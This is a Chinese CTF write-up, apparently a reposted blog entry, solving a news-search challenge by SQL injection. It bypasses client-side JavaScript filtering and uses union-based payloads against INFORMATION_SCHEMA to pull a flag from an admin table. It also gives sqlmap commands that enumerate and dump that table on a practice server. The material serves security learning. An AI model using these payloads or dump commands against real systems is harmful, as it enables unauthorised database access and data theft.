CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)

题目

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第1张图片
给出的靶机如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第2张图片

解题思路

首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式
(1)手工注入
先随便输入几个值,发现只有在值等于“内容”时有返回结果,其他关键字均没有结果,但是会有会先如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第3张图片
用“ ’ ”来探测是否能接受特殊字符以及是否存在注入点,结果如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第4张图片很显然,存在前台的js代码在控制输入的字符,找到这个网页的js代码,如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第5张图片
代码把所有的特殊字符都换成了空字符。
现在要做的就是就是先把这个网站的js代码停用,如下图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第6张图片
停用以后:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第7张图片
接着测试,使用 ’ or 1=1 – ’
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第8张图片把所有的内容都显示了出来,由此判断出,网站后台的SQL语句代码大概为:
select * from 某个表 where 某个字段=‘关键字’ limit 5;
由这个推断继续往下试探,使用 ’ union select 1 from INFORMATION_SCHEMA.tables – ’ 这一格式来试探其sql语句的返回结果共有几个字段,结果显示为三个,如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第9张图片
而且在访问INFORMATION_SCHEMA数据库时没有报错,那就是拥有访问权限
查看存在的数据库和表,命令如下 ’ union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables – ’

如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第10张图片
通过分析,当下用户可以查看到两个数据库:INFORMATION_SCHEMA news
flag大概率在news数据库中,其中的news表存的应该是新闻信息,现在主要看admin表
通过如下命令:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第11张图片
查看所有列,(其实可以添加where语句进行过滤,但是加了无结果,还没找到原因)
看到存在“flag”列
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第12张图片
用以下语句获取admin表里的flag列的数据 ’ union select 1,2,flag from admin – ’
获得结果如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第13张图片
得到了flg,大功告成。

(2) sqlmap自动化注入

使用sqlmap能 大大的提高注入效率,这显然是使用post方法提交的,所以需要看一下提交的格式,这里使用burpsuite来查看,如图:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第14张图片
然后使用如下语句进行注入 sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” --dbs

结果如下:
CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第15张图片
这里看到多探测出一个“test”数据库
查看news数据库存在的表:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news --tables

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第16张图片
把admin表dump出来,如下:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news -T admin --dump

CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)_第17张图片
同样看到flag。

总结

sqlmap注入的效率要高的太多,但是手工注入是基础,也要加强学习。

你可能感兴趣的:(CTF,信息安全,安全)